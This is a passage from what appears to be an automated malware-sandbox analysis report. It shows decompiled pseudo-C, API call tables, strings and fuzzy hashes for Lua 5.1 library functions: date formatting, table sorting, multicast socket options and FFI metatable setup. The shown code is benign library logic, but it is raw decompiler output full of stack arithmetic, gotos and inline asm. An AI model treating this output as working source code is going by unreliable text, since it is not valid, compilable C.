				intOrPtr* _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t113 = __fp0;
				_t94 =  *((intOrPtr*)(_t100 + 0x2ec));
				_t96 = E1000F4E0(__ecx, __eflags,  *((intOrPtr*)(_t100 + 0x2ec)), 1, 0x10019360, 0);
				_t34 = E10001410(__eflags,  *((intOrPtr*)(_t100 + 0x2ec)), 2);
				_t101 = _t100 + 0x18;
				if(_t34 > 0) {
					_t34 = E1000F540(_t69, __eflags, __fp0, _t94, 2);
					_t102 = _t101 + 8;
					L10016E30();
				} else {
					__imp__time(0);
					_t102 = _t101 + 4;
				}
				 *((intOrPtr*)(_t102 + 0x10)) = _t34;
				_t35 =  *_t96;
				if(_t35 != 0x21) {
					__imp__localtime(_t102 + 0x10);
					_t103 = _t102 + 4;
					_t70 = _t35;
				} else {
					_t68 = _t102 + 0x10;
					__imp__gmtime(_t68);
					_t103 = _t102 + 4;
					_t70 = _t68;
					_t96 = _t96 + 1;
				}
				if(_t70 != 0) {
					_t98 = "*t";
					_t36 = _t96;
					while(1) {
						_t85 =  *_t36;
						_t73 = _t85;
						__eflags = _t85 -  *_t98;
						if(_t85 !=  *_t98) {
							break;
						}
						__eflags = _t73;
						if(_t73 == 0) {
							L13:
							_t36 = 0;
						} else {
							_t93 =  *((intOrPtr*)(_t36 + 1));
							_t84 = _t93;
							_t6 = _t98 + 1; // 0x66000074
							__eflags = _t93 -  *_t6;
							if(_t93 !=  *_t6) {
								break;
							} else {
								_t36 = _t36 + 2;
								_t98 = _t98 + 2;
								__eflags = _t84;
								if(_t84 != 0) {
									continue;
								} else {
									goto L13;
								}
							}
						}
						L15:
						__eflags = _t36;
						if(_t36 != 0) {
							 *((char*)(_t103 + 0xc)) = 0x25;
							 *((char*)(_t103 + 0x16)) = 0;
							E1000FC00(_t94, _t103 + 0x14);
							_t39 =  *_t96;
							_t104 = _t103 + 8;
							__eflags = _t39;
							if(_t39 != 0) {
								_t95 = __imp__strftime;
								do {
									__eflags = _t39 - 0x25;
									if(_t39 != 0x25) {
										L22:
										__eflags =  *((intOrPtr*)(_t104 + 0x14)) - _t104 + 0x220;
										if(__eflags >= 0) {
											E1000F9E0(__eflags, _t104 + 0x14);
											_t104 = _t104 + 4;
										}
										 *((char*)( *((intOrPtr*)(_t104 + 0x14)))) =  *_t96;
										_t45 =  *((intOrPtr*)(_t104 + 0x14)) + 1;
										__eflags = _t45;
										 *((intOrPtr*)(_t104 + 0x14)) = _t45;
									} else {
										__eflags =  *((intOrPtr*)(_t96 + 1));
										if( *((intOrPtr*)(_t96 + 1)) == 0) {
											goto L22;
										} else {
											_t76 =  *((intOrPtr*)(_t96 + 1));
											_t96 = _t96 + 1;
											 *((char*)(_t104 + 0x1d)) = _t76;
											E1000FAC0(_t104 + 0x28, _t104 + 0x230,  *_t95(_t104 + 0x228, 0xc8, _t104 + 0xc, _t70));
											_t104 = _t104 + 0x1c;
										}
									}
									_t39 =  *((intOrPtr*)(_t96 + 1));
									_t96 = _t96 + 1;
									__eflags = _t39;
								} while (_t39 != 0);
							}
							E1000FB40(_t104 + 0x14);
							return 1;
						} else {
							E10001C70(_t94, _t36, 9);
							E10013960(_t113, _t94, "sec",  *_t70);
							E10013960(_t113, _t94, "min",  *((intOrPtr*)(_t70 + 4)));
							E10013960(_t113, _t94, "hour",  *((intOrPtr*)(_t70 + 8)));
							E10013960(_t113, _t94, "day",  *((intOrPtr*)(_t70 + 0xc)));
							E10013960(_t113, _t94, "month",  *((intOrPtr*)(_t70 + 0x10)) + 1);
							E10013960(_t113, _t94, "year",  *((intOrPtr*)(_t70 + 0x14)) + 0x76c);
							E10013960(_t113, _t94, "wday",  *((intOrPtr*)(_t70 + 0x18)) + 1);
							__eflags =  *((intOrPtr*)(_t70 + 0x1c)) + 1;
							E10013960(_t113, _t94, "yday",  *((intOrPtr*)(_t70 + 0x1c)) + 1);
							E10013990(_t94, "isdst",  *((intOrPtr*)(_t70 + 0x20)));
							return 1;
						}
						goto L27;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					goto L15;
				} else {
					E100018C0(_t94);
					return 1;
				}
				L27:
			}

0x10013720
0x10013729
0x10013742
0x10013744
0x10013749
0x1001374e
0x10013760
0x10013765
0x10013768
0x10013750
0x10013752
0x10013758
0x10013758
0x1001376d
0x10013771
0x10013775
0x1001378f
0x10013795
0x10013798
0x10013777
0x10013777
0x1001377c
0x10013782
0x10013785
0x10013787
0x10013787
0x1001379c
0x100137b7
0x100137bc
0x100137be
0x100137be
0x100137c0
0x100137c2
0x100137c5
0x00000000
0x00000000
0x100137c7
0x100137c9
0x100137df
0x100137df
0x100137cb
0x100137cb
0x100137ce
0x100137d0
0x100137d0
0x100137d3
0x00000000
0x100137d5
0x100137d5
0x100137d8
0x100137db
0x100137dd
0x00000000
0x00000000
0x00000000
0x00000000
0x100137dd
0x100137d3
0x100137e8
0x100137e8
0x100137eb
0x100138a2
0x100138a9
0x100138ae
0x100138b3
0x100138b5
0x100138b8
0x100138ba
0x100138bc
0x100138c2
0x100138c2
0x100138c4
0x10013902
0x1001390d
0x1001390f
0x10013916
0x1001391b
0x1001391b
0x10013924
0x1001392a
0x1001392a
0x1001392b
0x100138c6
0x100138c9
0x100138cb
0x00000000
0x100138cd
0x100138cd
0x100138d0
0x100138e4
0x100138f8
0x100138fd
0x100138fd
0x100138cb
0x1001392f
0x10013932
0x10013933
0x10013933
0x100138c2
0x1001393c
0x10013952
0x100137f1
0x100137f5
0x10013803
0x10013812
0x10013821
0x10013830
0x10013840
0x10013858
0x10013868
0x10013870
0x10013878
0x10013887
0x1001389d
0x1001389d
0x00000000
0x100137eb
0x100137e3
0x100137e5
0x00000000
0x1001379e
0x1001379f
0x100137b5
0x100137b5
0x00000000

APIs

luaL_optlstring.LUA5.1(?,00000001,10019360,00000000), ref: 1001373A

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

lua_type.LUA5.1(?,00000002,?,00000001,10019360,00000000), ref: 10013744
time.MSVCRT ref: 10013752
luaL_checknumber.LUA5.1(?,00000002), ref: 10013760
_ftol.MSVCRT ref: 10013768
gmtime.MSVCRT ref: 1001377C
localtime.MSVCRT ref: 1001378F
lua_pushnil.LUA5.1(?), ref: 1001379F
lua_createtable.LUA5.1(?,00000000,00000009), ref: 100137F5
luaL_buffinit.LUA5.1(?,?), ref: 100138AE
strftime.MSVCRT ref: 100138E8
luaL_addlstring.LUA5.1(?,?,00000000), ref: 100138F8
luaL_prepbuffer.LUA5.1(?), ref: 10013916
luaL_pushresult.LUA5.1(?), ref: 1001393C

Strings

min, xrefs: 1001380C
day, xrefs: 1001382A
sec, xrefs: 100137FD
%, xrefs: 100138A2
hour, xrefs: 1001381B
year, xrefs: 10013852
month, xrefs: 1001383A
wday, xrefs: 10013862
yday, xrefs: 10013872
isdst, xrefs: 10013881

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_addlstring.L_buffinit.L_checknumber.L_optlstring.L_prepbuffer.L_pushresult._ftolgmtimelocaltimelua_createtable.lua_pushnil.strftimetime
String ID: %$day$hour$isdst$min$month$sec$wday$yday$year
API String ID: 1219610304-4051842569
Opcode ID: 31eaa778872db4eb48442c85568471cbb604ae3334a3f45fed20d5dd43bcbe4d
Instruction ID: 496dac29d4681b1e01221c2d11c90bf35485a97460ebd694919cdc8cb7cba5df
Opcode Fuzzy Hash: 31eaa778872db4eb48442c85568471cbb604ae3334a3f45fed20d5dd43bcbe4d
Instruction Fuzzy Hash: 1E51F5E51082406BE311DF28DCC6FBB77E9DB82644F048458F9855F282E675E98983B2

Uniqueness

Uniqueness Score: -1.00%

Function 100140F0, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

lua_rawgeti.LUA5.1(?,00000001,00000000,00000000,?,?,?,100140E4,?,00000001,00000000,?,00000002), ref: 10014112
lua_rawgeti.LUA5.1(?,00000001,?,?,00000001,00000000,00000000,?,?,?,100140E4,?,00000001,00000000,?,00000002), ref: 1001411B

Part of subcall function 10014360: lua_type.LUA5.1(?,00000002,?,1001412A,?,000000FF,000000FE,?,00000001,?,?,00000001,00000000,00000000,?), ref: 10014368
Part of subcall function 10014360: lua_pushvalue.LUA5.1(?,00000002,00000000,?,00000002), ref: 10014378
Part of subcall function 10014360: lua_pushvalue.LUA5.1(?,?,?,00000002,00000000,?,00000002), ref: 10014384
Part of subcall function 10014360: lua_pushvalue.LUA5.1(?,?,?,?,?,00000002,00000000,?,00000002), ref: 10014392
Part of subcall function 10014360: lua_call.LUA5.1(?,00000002,00000001,?,?,?,?,?,00000002,00000000,?,00000002), ref: 1001439C
Part of subcall function 10014360: lua_toboolean.LUA5.1(?,000000FF,?,00000002,00000001,?,?,?,?,?,00000002,00000000,?,00000002), ref: 100143A4
Part of subcall function 10014360: lua_settop.LUA5.1(?,000000FE,?,000000FF,?,00000002,00000001,?,?,?,?,?,00000002,00000000,?,00000002), ref: 100143AE

lua_settop.LUA5.1(?,000000FD,?,?,?,100140E4,?,00000001,00000000,?,00000002), ref: 10014141
lua_rawgeti.LUA5.1(?,00000001,?,?,?,?,?,?,100140E4,?,00000001,00000000,?,00000002), ref: 10014168
lua_rawgeti.LUA5.1(?,00000001,00000000,?,00000001,?,?,?,?,?,?,100140E4,?,00000001,00000000,?), ref: 10014171
lua_settop.LUA5.1(?,000000FE,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10014197
lua_rawgeti.LUA5.1(?,00000001,?,?,000000FE), ref: 100141A0

Part of subcall function 10014360: lua_lessthan.LUA5.1(?,?,?,?,00000002), ref: 100143C6

lua_settop.LUA5.1(?,000000FD), ref: 100141C6
lua_rawgeti.LUA5.1(?,00000001,?), ref: 100141DD
lua_pushvalue.LUA5.1(?,000000FF,?,00000001,?), ref: 100141E5
lua_rawgeti.LUA5.1(?,00000001,?,?,000000FF,?,00000001,?), ref: 100141F1
lua_rawgeti.LUA5.1(?,00000001,?), ref: 1001420A
luaL_error.LUA5.1(?,invalid order function for sorting), ref: 1001422A
lua_settop.LUA5.1(?,000000FE), ref: 10014235
lua_rawgeti.LUA5.1(?,00000001,?,?,000000FE), ref: 1001423F
lua_rawgeti.LUA5.1(?,00000001,?), ref: 1001425A

Part of subcall function 10014330: lua_rawseti.LUA5.1(?,00000001,?,?,100141FE,?,?,?,?,00000001,?,?,000000FF,?,00000001,?), ref: 1001433D
Part of subcall function 10014330: lua_rawseti.LUA5.1(?,00000001,00000002,?,00000001,?,?,100141FE,?,?,?,?,00000001,?,?,000000FF), ref: 1001434A

luaL_error.LUA5.1(?,invalid order function for sorting), ref: 1001427C
lua_settop.LUA5.1(?,000000FE), ref: 10014287
lua_rawgeti.LUA5.1(?,00000001,?,?,000000FE), ref: 10014291
lua_settop.LUA5.1(?,000000FC), ref: 100142BE
lua_rawgeti.LUA5.1(?,00000001,?,?,000000FC), ref: 100142CA
lua_rawgeti.LUA5.1(?,00000001,?,?,00000001,?,?,000000FC), ref: 100142D3

Strings

invalid order function for sorting, xrefs: 10014224, 10014276

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_rawgeti.$lua_settop.$lua_pushvalue.$L_error.lua_rawseti.$lua_call.lua_lessthan.lua_toboolean.lua_type.
String ID: invalid order function for sorting
API String ID: 1803563474-1445527858
Opcode ID: ff608e66da2001119989457a8dff74370521d6102f258cd215721b84c6582acc
Instruction ID: fd570815b798c5bdb263396b0e42c3073940818ee4ae8558b2410a289f45c0a3
Opcode Fuzzy Hash: ff608e66da2001119989457a8dff74370521d6102f258cd215721b84c6582acc
Instruction Fuzzy Hash: FB51367951852A32E911D6251D82ECF616DDF932F4F220314F930291E7EE3AFBC640BA

Uniqueness

Uniqueness Score: -1.00%

Function 00592AD0, Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00592AD0(void* __eax, void* __ebx, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				char _v12;
				void* _t11;
				intOrPtr* _t13;
				void* _t17;
				void* _t18;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t28;
				void* _t29;
				char* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t35;
				void* _t37;
				void* _t38;
				void* _t39;

				_t29 = __edi;
				_t18 = __ebx;
				_t11 = __eax;
				_t32 = _a4;
				_push(3);
				_push(_t32);
				L00594AFA();
				_t34 =  &_v8 + 8;
				if(__eax != 5) {
					_push(5);
					_push(_t32);
					L00594B24();
					_push(__eax);
					_push(3);
					_push(_t32);
					L00594B1E();
					_t34 = _t34 + 0x14;
				}
				_push("multiaddr");
				_push(_t32);
				L00594AD0();
				_push(3);
				_push(_t32);
				L00594B00();
				_push(0xffffffff);
				_push(_t32);
				L00594AF4();
				_t35 = _t34 + 0x18;
				if(_t11 == 0) {
					_push("string \'multiaddr\' field expected");
					_push(3);
					_push(_t32);
					L00594B2A();
					_t35 = _t35 + 0xc;
				}
				_t12 =  &_v8;
				_push( &_v8);
				_push(0);
				_push(0xffffffff);
				L00594AE2();
				_t13 = E00591980(_t12, _t32);
				_t37 = _t35 + 0x14;
				if(_t13 == 0) {
					_push("invalid \'multiaddr\' ip address");
					_push(3);
					_push(_t32);
					L00594B2A();
					_t37 = _t37 + 0xc;
				}
				_push("interface");
				_push(_t32);
				L00594AD0();
				_push(3);
				_push(_t32);
				L00594B00();
				_push(0xffffffff);
				_push(_t32);
				L00594AF4();
				_t38 = _t37 + 0x18;
				if(_t13 == 0) {
					_push("string \'interface\' field expected");
					_push(3);
					_push(_t32);
					L00594B2A();
					_t38 = _t38 + 0xc;
				}
				_push(_t18);
				_push(_t29);
				_push(0);
				L00594A34();
				_push(0);
				_push(0xffffffff);
				_push(_t32);
				_v8 = _t13;
				_t30 = "*";
				L00594AE2();
				_t39 = _t38 + 0xc;
				while(1) {
					_t26 =  *_t13;
					_t22 = _t26;
					if(_t26 !=  *_t30) {
						break;
					}
					if(_t22 == 0) {
						L13:
						_t13 = 0;
						L15:
						if(_t13 != 0) {
							_t16 =  &_v8;
							_push( &_v8);
							_push(0);
							_push(0xffffffff);
							L00594AE2();
							_t17 = E00591980(_t16, _t32);
							_t39 = _t39 + 0x14;
							if(_t17 == 0) {
								_push("invalid \'interface\' ip address");
								_push(3);
								_push(_t32);
								L00594B2A();
								_t39 = _t39 + 0xc;
							}
						}
						_push(8);
						return E00592C40(_t32, _a4, _a8, _a12,  &_v12);
					}
					_t28 =  *((intOrPtr*)(_t13 + 1));
					_t5 =  &(_t30[1]); // 0x25000000
					_t25 = _t28;
					if(_t28 !=  *_t5) {
						break;
					}
					_t13 = _t13 + 2;
					_t30 =  &(_t30[2]);
					if(_t25 != 0) {
						continue;
					}
					goto L13;
				}
				asm("sbb eax, eax");
				asm("sbb eax, 0xffffffff");
				goto L15;
			}

0x00592ad0
0x00592ad0
0x00592ad0
0x00592ad4
0x00592ad8
0x00592ada
0x00592adb
0x00592ae0
0x00592ae6
0x00592ae8
0x00592aea
0x00592aeb
0x00592af0
0x00592af1
0x00592af3
0x00592af4
0x00592af9
0x00592af9
0x00592afc
0x00592b01
0x00592b02
0x00592b07
0x00592b09
0x00592b0a
0x00592b0f
0x00592b11
0x00592b12
0x00592b17
0x00592b1c
0x00592b1e
0x00592b23
0x00592b25
0x00592b26
0x00592b2b
0x00592b2b
0x00592b2e
0x00592b32
0x00592b33
0x00592b35
0x00592b38
0x00592b41
0x00592b46
0x00592b4b
0x00592b4d
0x00592b52
0x00592b54
0x00592b55
0x00592b5a
0x00592b5a
0x00592b5d
0x00592b62
0x00592b63
0x00592b68
0x00592b6a
0x00592b6b
0x00592b70
0x00592b72
0x00592b73
0x00592b78
0x00592b7d
0x00592b7f
0x00592b84
0x00592b86
0x00592b87
0x00592b8c
0x00592b8c
0x00592b8f
0x00592b90
0x00592b91
0x00592b93
0x00592b98
0x00592b9a
0x00592b9c
0x00592b9d
0x00592ba1
0x00592ba6
0x00592bab
0x00592bae
0x00592bae
0x00592bb2
0x00592bb6
0x00000000
0x00000000
0x00592bba
0x00592bd2
0x00592bd2
0x00592bdb
0x00592bdf
0x00592be1
0x00592be5
0x00592be6
0x00592be8
0x00592beb
0x00592bf4
0x00592bf9
0x00592bfe
0x00592c00
0x00592c05
0x00592c07
0x00592c08
0x00592c0d
0x00592c0d
0x00592bfe
0x00592c1c
0x00592c33
0x00592c33
0x00592bbc
0x00592bbf
0x00592bc2
0x00592bc6
0x00000000
0x00000000
0x00592bc8
0x00592bcb
0x00592bd0
0x00000000
0x00000000
0x00000000
0x00592bd0
0x00592bd6
0x00592bd8
0x00000000

APIs

lua_type.LUA5.1(?,00000003), ref: 00592ADB
lua_typename.LUA5.1(?,00000005), ref: 00592AEB
luaL_typerror.LUA5.1(?,00000003,00000000,?,00000005), ref: 00592AF4

Part of subcall function 00592C40: #21.WSOCK32(?,?,?,?,?,00592CCD,?,?,?,?,?,00000004,?,00000003,?,005928D6), ref: 00592C5B
Part of subcall function 00592C40: lua_pushnil.LUA5.1(?,?,?,?,?,?,?,00592CCD,?,?,?,?,?,00000004,?,00000003), ref: 00592C6A
Part of subcall function 00592C40: lua_pushstring.LUA5.1(?,setsockopt failed,?,?,?,?,?,?,?,00592CCD,?,?,?,?,?,00000004), ref: 00592C75

lua_pushstring.LUA5.1(?,multiaddr), ref: 00592B02
lua_gettable.LUA5.1(?,00000003,?,multiaddr), ref: 00592B0A
lua_isstring.LUA5.1(?,000000FF,?,00000003,?,multiaddr), ref: 00592B12
luaL_argerror.LUA5.1(?,00000003,string 'multiaddr' field expected), ref: 00592B26
lua_tolstring.LUA5.1(?,000000FF,00000000,?), ref: 00592B38
luaL_argerror.LUA5.1(?,00000003,invalid 'multiaddr' ip address,?,?,?,?,?), ref: 00592B55
lua_pushstring.LUA5.1(?,interface,?,?,?,?,?), ref: 00592B63
lua_gettable.LUA5.1(?,00000003,?,interface,?,?,?,?,?), ref: 00592B6B
lua_isstring.LUA5.1(?,000000FF,?,00000003,?,interface,?,?,?,?,?), ref: 00592B73
luaL_argerror.LUA5.1(?,00000003,string 'interface' field expected,?,?,?,?,?,?,?,?,?,?,?), ref: 00592B87
htonl.WSOCK32(00000000), ref: 00592B93
lua_tolstring.LUA5.1(?,000000FF,00000000,00000000), ref: 00592BA6
lua_tolstring.LUA5.1(?,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00592BEB
luaL_argerror.LUA5.1(?,00000003,invalid 'interface' ip address,?,?,?,?,?,?,?), ref: 00592C08

Strings

multiaddr, xrefs: 00592AFC
interface, xrefs: 00592B5D
invalid 'multiaddr' ip address, xrefs: 00592B4D
invalid 'interface' ip address, xrefs: 00592C00
string 'interface' field expected, xrefs: 00592B7F
string 'multiaddr' field expected, xrefs: 00592B1E

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.$lua_pushstring.lua_tolstring.$lua_gettable.lua_isstring.$L_typerror.htonllua_pushnil.lua_type.lua_typename.
String ID: interface$invalid 'interface' ip address$invalid 'multiaddr' ip address$multiaddr$string 'interface' field expected$string 'multiaddr' field expected
API String ID: 517398875-1578488953
Opcode ID: 6a7f110078aba7905ba3e4e7efd1c00496102fa0a9111a9d547e6f3c909a21cc
Instruction ID: cf897ed3e0235b907d16211ca2a77e8002d8c1fae771e009bd523f2cd3c74ef9
Opcode Fuzzy Hash: 6a7f110078aba7905ba3e4e7efd1c00496102fa0a9111a9d547e6f3c909a21cc
Instruction Fuzzy Hash: D6315751A8521336DD117A242C17F9F3F8E7FB2711F140310F954622C2F649DF0A45BA

Uniqueness

Uniqueness Score: -1.00%

Function 005E3300, Relevance: 40.3, APIs: 17, Strings: 6, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E005E3300(void* __esi) {

				_push("alien_function");
				L005E3FAA();
				_push(7);
				_push("__index");
				L005E3FC8();
				_push(0);
				_push(0);
				L005E3FBC();
				_push(5);
				_push("types");
				L005E3FC8();
				_push(0);
				_push(E005E1B60);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xfffffffd);
				L005E3FDA();
				_push(6);
				_push("__call");
				L005E3FC8();
				_push(0);
				_push(E005E1EF0);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(4);
				_push("__gc");
				L005E3FC8();
				_push(0);
				_push(E005E2970);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xa);
				_push("__tostring");
				L005E3FC8();
				_push(0);
				_push(E005E1E70);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xfffffffe);
				L005E3EF6();
				return 0;
			}

0x005e3300
0x005e3306
0x005e330b
0x005e330d
0x005e3313
0x005e3318
0x005e331a
0x005e331d
0x005e3322
0x005e3324
0x005e332a
0x005e332f
0x005e3331
0x005e3337
0x005e333c
0x005e333f
0x005e3347
0x005e334a
0x005e334f
0x005e3351
0x005e3357
0x005e335c
0x005e335e
0x005e3364
0x005e3369
0x005e336c
0x005e3371
0x005e3373
0x005e3379
0x005e337e
0x005e3380
0x005e3386
0x005e338e
0x005e3391
0x005e3396
0x005e3398
0x005e339e
0x005e33a3
0x005e33a5
0x005e33ab
0x005e33b0
0x005e33b3
0x005e33b8
0x005e33bb
0x005e33c5

APIs

luaL_newmetatable.LUA5.1(?,alien_function,005E3E74), ref: 005E3306
lua_pushlstring.LUA5.1(?,__index,00000007,?,alien_function,005E3E74), ref: 005E3313
lua_createtable.LUA5.1(?,00000000,00000000,?,__index,00000007,?,alien_function,005E3E74), ref: 005E331D
lua_pushlstring.LUA5.1(?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_function,005E3E74), ref: 005E332A
lua_pushcclosure.LUA5.1(?,005E1B60,00000000,?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_function,005E3E74), ref: 005E3337
lua_settable.LUA5.1(?,000000FD,?,005E1B60,00000000,?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_function), ref: 005E333F
lua_settable.LUA5.1(?,000000FD), ref: 005E334A
lua_pushlstring.LUA5.1(?,__call,00000006,?,000000FD), ref: 005E3357
lua_pushcclosure.LUA5.1(?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E3364
lua_settable.LUA5.1(?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E336C
lua_pushlstring.LUA5.1(?,__gc,00000004,?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E3379
lua_pushcclosure.LUA5.1(?,005E2970,00000000,?,__gc,00000004,?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E3386
lua_settable.LUA5.1(?,000000FD), ref: 005E3391
lua_pushlstring.LUA5.1(?,__tostring,0000000A,?,000000FD), ref: 005E339E
lua_pushcclosure.LUA5.1(?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E33AB
lua_settable.LUA5.1(?,000000FD,?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E33B3
lua_settop.LUA5.1(?,000000FE,?,000000FD,?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E33BB

Strings

__call, xrefs: 005E3351
__gc, xrefs: 005E3373
__tostring, xrefs: 005E3398
alien_function, xrefs: 005E3300
__index, xrefs: 005E330D
types, xrefs: 005E3324

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushlstring.lua_settable.$lua_pushcclosure.$L_newmetatable.lua_createtable.lua_settop.
String ID: __call$__gc$__index$__tostring$alien_function$types
API String ID: 863327555-781758760
Opcode ID: 1ebd08da8017994368632aeba56bb2fa46054a7238b1740a4ad537965a3587f7
Instruction ID: c2d2da1e2dff825e40228d162652688d15edc80e1cc9772dd5498457d94a3405
Opcode Fuzzy Hash: 1ebd08da8017994368632aeba56bb2fa46054a7238b1740a4ad537965a3587f7
Instruction Fuzzy Hash: 5A015C60FDEAA731DA1A32230D4FF5E0C193F92B66F210300F5F1350D62A8D2305009E

Uniqueness

Uniqueness Score: -1.00%

Function 005E3230, Relevance: 40.3, APIs: 17, Strings: 6, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E005E3230(void* __esi) {

				_push("alien_callback");
				L005E3FAA();
				_push(7);
				_push("__index");
				L005E3FC8();
				_push(0);
				_push(0);
				L005E3FBC();
				_push(5);
				_push("types");
				L005E3FC8();
				_push(0);
				_push(E005E1B60);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xfffffffd);
				L005E3FDA();
				_push(6);
				_push("__call");
				L005E3FC8();
				_push(0);
				_push(E005E1EF0);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(4);
				_push("__gc");
				L005E3FC8();
				_push(0);
				_push(E005E29E0);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xa);
				_push("__tostring");
				L005E3FC8();
				_push(0);
				_push(E005E1E70);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xfffffffe);
				L005E3EF6();
				return 0;
			}

0x005e3230
0x005e3236
0x005e323b
0x005e323d
0x005e3243
0x005e3248
0x005e324a
0x005e324d
0x005e3252
0x005e3254
0x005e325a
0x005e325f
0x005e3261
0x005e3267
0x005e326c
0x005e326f
0x005e3277
0x005e327a
0x005e327f
0x005e3281
0x005e3287
0x005e328c
0x005e328e
0x005e3294
0x005e3299
0x005e329c
0x005e32a1
0x005e32a3
0x005e32a9
0x005e32ae
0x005e32b0
0x005e32b6
0x005e32be
0x005e32c1
0x005e32c6
0x005e32c8
0x005e32ce
0x005e32d3
0x005e32d5
0x005e32db
0x005e32e0
0x005e32e3
0x005e32e8
0x005e32eb
0x005e32f5

APIs

luaL_newmetatable.LUA5.1(?,alien_callback,005E3E6F), ref: 005E3236
lua_pushlstring.LUA5.1(?,__index,00000007,?,alien_callback,005E3E6F), ref: 005E3243
lua_createtable.LUA5.1(?,00000000,00000000,?,__index,00000007,?,alien_callback,005E3E6F), ref: 005E324D
lua_pushlstring.LUA5.1(?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_callback,005E3E6F), ref: 005E325A
lua_pushcclosure.LUA5.1(?,005E1B60,00000000,?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_callback,005E3E6F), ref: 005E3267
lua_settable.LUA5.1(?,000000FD,?,005E1B60,00000000,?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_callback), ref: 005E326F
lua_settable.LUA5.1(?,000000FD), ref: 005E327A
lua_pushlstring.LUA5.1(?,__call,00000006,?,000000FD), ref: 005E3287
lua_pushcclosure.LUA5.1(?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E3294
lua_settable.LUA5.1(?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E329C
lua_pushlstring.LUA5.1(?,__gc,00000004,?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E32A9
lua_pushcclosure.LUA5.1(?,005E29E0,00000000,?,__gc,00000004,?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E32B6
lua_settable.LUA5.1(?,000000FD), ref: 005E32C1
lua_pushlstring.LUA5.1(?,__tostring,0000000A,?,000000FD), ref: 005E32CE
lua_pushcclosure.LUA5.1(?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E32DB
lua_settable.LUA5.1(?,000000FD,?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E32E3
lua_settop.LUA5.1(?,000000FE,?,000000FD,?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E32EB

Strings

__call, xrefs: 005E3281
